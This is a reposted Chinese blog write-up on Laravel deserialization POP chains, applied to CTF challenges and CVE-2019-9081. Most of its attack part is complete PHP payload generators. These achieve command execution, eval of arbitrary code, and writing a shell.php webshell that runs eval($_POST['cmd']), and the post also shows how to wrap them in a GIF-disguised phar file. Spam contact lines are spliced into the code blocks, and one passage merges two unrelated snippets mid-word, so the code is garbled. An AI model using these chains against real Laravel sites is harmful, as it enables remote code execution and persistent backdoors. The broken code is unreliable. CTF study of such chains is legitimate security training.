首页 » PHP教程 » php框架鸡肋技巧_好家伙进修Laravel框架之CTF真题暴力解析

php框架鸡肋技巧_好家伙进修Laravel框架之CTF真题暴力解析

duote123 2024-11-26 0

扫一扫用手机浏览

文章目录 [+]

序言:

CTF(Capture The Flag)中文一样平常译作夺旗赛,在网络安全领域中指的是网络安全技能职员之间进行技能竞技的一种比赛形式。
CTF起源于1996年DEFCON环球黑客大会,以代替之前黑客们通过相互发起真实攻击进行技能比拼的办法。
发展至今,已经成为环球范围网络安全圈盛行的竞赛形式,2013年环球举办了超过五十场国际性CTF赛事。
而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前环球最高技能水平和影响力的CTF竞赛,类似于CTF赛场中的“天下杯”

(看着怎么有点像电竞天下杯??)

php框架鸡肋技巧_好家伙进修Laravel框架之CTF真题暴力解析

正文我当初选择 Laravel 是有一整套标准的,我的利用的情由也很大略:Laravel 是最有名的 PHP 框架,Github 上两万多 star,比第二第三多出两倍;它的语法优雅,很多方法都不用看文档直接就能推算出来;全栈,该有的都有了,方便快速构建原型;扩展完好,大量的扩展包,有 WordPress 的觉得;文档完好;最有名绝对是选择的关键点,要用就用第一的,碰着问题,随便 Google 下也是一堆答案,由于用的人多。
而Laravel 最核心的竞争力在我看来是:开拓的高效。

闇练利用,加上对各种扩展包的熟习,在产品思路清晰的情形下,编码韶光大大缩短,PHPHub 初版 MVP 出来就用了三四个晚上,PHPHub5 升级,只用了 24 个小时

php框架鸡肋技巧_好家伙进修Laravel框架之CTF真题暴力解析
(图片来自网络侵删)

通过这个框架来入门大型框架的代码审计、包括磨炼反序列化漏洞的挖掘利用是比较得当的,本文剖析了Laravel5和Laravel8两个版本的部分利用链,并结合CTF题目来学习Laravel框架

Laravel5.8.x反序列化POP链

安装:个中--prefer-dist表示优先下载zip压缩包办法

composer create-project --prefer-dist laravel/laravel=5.8. laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Test laravel5.8 pop";});+WX:machinegunjoe666 免费领取资料

然后在public目录起一个php做事就可以进行测试了cd /public

php -S 0.0.0.0:port/foo?c=

链一

链的入口是在

laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct(){ $this->events->dispatch($this->event); }

这里的$this->events和$this->event可控,

这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来

public function dispatch($command){ if ($this->queueResolver && $this->commandShouldBeQueued($command)) { return $this->dispatchToQueue($command); } return $this->dispatchNow($command); }+WX:machinegunjoe免费领取资料

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command){ return $command instanceof ShouldQueue; }

这里哀求$command(即传进来的$this->event)要实现ShouldQueue该接口

知足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下public function dispatchToQueue($command)

{ $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver和$connection都是可控的,到这里就可以直接布局payload

rce

<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }+WX:machinegunjoe免费领取资料}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

eval实行

到这里已经可以调用任意类的任意方法了,但是call_user_func无法实行eval函数,如果我们的system被ban了的话,就须要连续探求实行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader{ public function load(MockDefinition $definition){ if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); }}

这里有一个eval函数,这里须要绕过eval上面的if语句,否则直接就return了

$definition变量是MockDefinition类,跟进一下class MockDefinition

{ protected $config; protected $code; ... public function getClassName(){ return $this->config->getName(); } public function getCode(){ return $this->code; }}

这里$code,$config可控,但是呢$definition->getClassName()须要一个不存在的类,我们找一个类其getName是可控的,然后布局一个不存在的类即可,如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration{ ...public function getName(){ return $this->name; } ...}+WX:machinegunjoe666 免费领取资料

<?phpnamespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event){ $this->event = $event; $this->events = $events; } }}namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection; public function __construct($connection){ $this->connection = $connection; } }}namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config){ $this->config = $config; $this->code = '<?php phpinfo();?>'; } }}namespace Mockery\Generator{ class MockConfiguration { protected $name = "none class"; }}namespace Mockery\Loader{ class EvalLoader { public function load(MockDefinition $definition) { } }}namespace { $config = new \Mockery\Generator\MockConfiguration(); $connection = new \Mockery\Generator\MockDefinition($config); $event = new \Illuminate\Broadcasting\BroadcastEvent($connection); $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load"); $events = new \Illuminate\Bus\Dispatcher($queueResolver); $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event); echo urlencode(serialize($pendingBroadcast));}

<?phpnamespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event){ $this->event = $event; $this->events = $events; } }}namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection; public function __construct($connection){ $this->connection = $connection; } }}namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config){ $this->config = $config; $this->code = '<?php phpinfo();?>'; } }}namespace Mockery\Generator{ class MockConfiguration { protected $name = "none class"; }}namespace Mockery\Loader{ class EvalLoader { public function load(MockDefinition $definition) { } }}namespace { $config = new \Mockery\Generator\MockConfiguration(); $connection = new \Mockery\Generator\MockDefinition($config); $event = new \Illuminate\Broadcasting\BroadcastEvent($connection); $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load"); $events = new \Illuminate\Bus\Dispatcher($queueResolver); $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event); echo urlencode(serialize($pendingBroadcast));}

利用跳板

如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板

laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option{ ... public function filter($callable){ return $this->option()->filter($callable); } ...private function option(){ if (null === $this->option) {+WX:machinegunjoe免费领取资料 / @var mixed / $option = call_user_func_array($this->callback, $this->arguments);tion __call($method, $parameters){ $rule = Str::snake(substr($method, 8)); if (isset($this->extensions[$rule])) { return $this->callExtension($rule, $parameters); }这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控跟踪进callExtension方法protected function callExtension($rule, $parameters){ $callback = $this->extensions[$rule]; if (is_callable($callback)) { return call_user_func_array($callback, $parameters);

$callback和$parameters可控,于是就可以布局payload了

<?phpnamespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event){ $this->events = $events; $this->event = $event; } }}+WX:machinegunjoe666 免费领取资料namespace Illuminate\Validation{ class Validator{ protected $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace{ $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id'); echo urlencode(serialize($a));}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}+WX:machinegunjoe免费领取资料namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace PhpOption { class LazyOption { private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter'))); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}

Laravel8反序列化POP链

不才面参考链接文章中Laravel8有先容三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

public function __destruct(){ $this->events->dispatch($this->event); }

public function __destruct(){ $this->events->dispatch($this->event); }

这里的$this->events和$this->event可控

同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

看到

laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters){ return $this->__invoke()->{$method}(...$parameters); } / Resolve the variable. @return mixed / public function __invoke(){ return call_user_func($this->callable); }

这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\View { class InvokableComponentVariable { protected $callable; public function __construct($callable){ $this->callable = $callable; } }}namespace { $b = new Illuminate\View\InvokableComponentVariable('phpinfo'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1); print(urlencode(serialize($a)));}

由于这里我们只能掌握$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了彷佛没找到,读者有兴趣可以去试试

CTF题目lumenserial

再看到

$router->get('/server/editor', 'EditorController@main');$router->post('/server/editor', 'EditorController@main');

再看到

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller{private function download($url){... $content = file_get_contents($url);

创造这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

classEditorControllerextendsController{ ...protected function doCatchimage(Request $request){ $sources = $request->input($this->config['catcherFieldName']); $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); }

我们看到main创造他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller{ ...public function main(Request $request){ $action = $request->query('action'); try { if (is_string($action) && method_exists($this, "do{$action}")) { return call_user_func([$this, "do{$action}"], $request); } else {

可以通过如下掌握变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的根本加上如下

@unlink("test.phar");$phar = new \Phar("test.phar");//后缀名必须为phar$phar->startBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test");//添加要压缩的文件$phar->stopBuffering();+WX:machinegunjoe免费领取资料

上传phar文件再用phar协议打即可

Laravel的CVE-2019-9081

影响版本为5.7.x,当时别个搜CVE也能搜出来,先下载下来,lara5.7

但lara5.7里面没有vendor,在文件夹下,用cmd命令 composer install就可产生:

开始比拟:

紧张差别确实便是MRCTF的www_laravel,其app/Http/Controllers下多了一个路由,也便是图中的TaskController.php

TaskCotroller.php

<?phpnamespace App\Http\Controllers;class TaskController{ public function index(){ if(isset($_GET['action']) && preg_match('/serialize\/$/i', $_GET['action'])){ exit(1); } if(preg_match('/serialize/i', basename( $_GET['action']))){ if(isset($_GET['ser'])){ $ser = $_GET['ser']; unserialize($ser); return ; }else{ echo "no unserialization"; return ; } } }}?>

题目的路由文件也进行了变动:

其是一个CVE的复现,该CVE指出漏洞涌如今PendingCommand.php文件中,进入该文件:

这里看到了提示,也就暗示是目标的位置,也解释便是稽核CVE复现别的文章说是要利用原生类:

所谓的反序列化函数,其反序列化的入口便是之前的/hello路由,上图的__tostring函数触发后会返回文件名:须要找一个把他显示出来的函数:

CVE和其他WP说是:Response.phpvendor/symfony/http-foundation/Response.php

存在这么一个方法,便是可以返回内容:

再找到wp说的所需的:

这是PendingCommand.php所在的路径:

按照WP所说找全了所需的函数,

利用是利用,实例化Filesystem, 触发__tostring里的原生类,实例化response类,调用response类里的_construct函数,来调用setcontent(),用FnStream.php里的call_user_func来实行输出文件名。

POC网上有:给个官方可能可利用的exp

<?phpnamespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } }}namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } }}namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } }}namespace{ $genericuser = new Illuminate\Auth\GenericUser( array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) ); $application = new Illuminate\Foundation\Application( array( "Illuminate\Contracts\Console\Kernel"=> array( "concrete"=>"Illuminate\Foundation\Application" ) ) ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand( "system",array('id'), $genericuser, $application ); echo urlencode(serialize($pendingcommand));}?>

[HMBCTF 2021]EzLight

给了source.zip源码,是laravel框架开拓的lightcms,先在本地把环境搭起来先,紧张是修正.env文件改改数据库信息

先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request){ ... $files = array_unique((array) $request->post('file')); $urls = []; foreach ($files as $v) { $image = $this->fetchImageFile($v);

protected function fetchImageFile($url){ if (isWebp($data)) { $image = Image::make(imagecreatefromwebp($url)); $extension = 'webp'; } else { $image = Image::make($data); }

这里的$url可控,这里imagecreatefromwebp由于isWebp的限定无法进入,以是这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后剖析一下前面的代码,我们须要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一贯跟进就可以创造有个file_get_contents函数

至此结束,这里可以phar反序列化了

用上面的链一即可

<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; }+WX:machinegunjoe666 免费领取资料 }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; public function __construct($callback, $arguments){ $this->callback = $callback; $this->arguments = $arguments; } }}namespace { $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher(array($d,"filter")); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a))); @unlink("test.phar"); $phar = new \Phar("test.phar");//后缀名必须为phar $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub $phar->setMetadata($a);//将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test");//添加要压缩的文件 $phar->stopBuffering(); rename('test.phar','test.jpg');}

上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了

参考链接

https://laravelacademy.org/books/laravel-docs-5_7

https://xz.aliyun.com/t/5911

https://www.anquanke.com/post/id/189718#h2-9

https://www.anquanke.com/post/id/231079

福利分享:

看到这里的大佬,动动发财的小手 点赞 + 回答 + 收藏,能【 关注 】一波就更好了

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些CTF夺旗赛干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货紧张有:

①1000+CTF历届题库(主流和经典的该当都有了)

②CTF技能文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适宜小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2021密码学/隐身术/PWN技能手册大全

各位朋友们可以关注+评论一波 然后私信【CTF】即可免费获取全部资料

相关文章

介绍加密狗,加密技术的守护者

在信息技术飞速发展的今天,数据安全成为各行各业关注的焦点。加密狗作为一种重要的加密技术,广泛应用于金融、通信、教育等领域。本文将从...

PHP教程 2025-01-02 阅读0 评论0

介绍功放播放,技术与艺术的完美融合

随着科技的飞速发展,音响设备已经成为人们日常生活中不可或缺的一部分。在众多音响设备中,功放(功率放大器)以其强大的输出能力和丰富的...

PHP教程 2025-01-02 阅读0 评论0

传真时代的传承与创新_如何高效接发传真

传真,作为一项传统的通信技术,在我国有着悠久的历史。随着互联网和移动通信技术的迅猛发展,传真似乎已经逐渐淡出人们的视野。在许多行业...

PHP教程 2025-01-02 阅读0 评论0

传真机接机指南,轻松实现高效沟通

随着信息时代的到来,传真机作为一种传统的通信工具,在许多企业和个人中仍然发挥着重要作用。如何正确接传真机,让传真传递更加高效、便捷...

PHP教程 2025-01-02 阅读0 评论0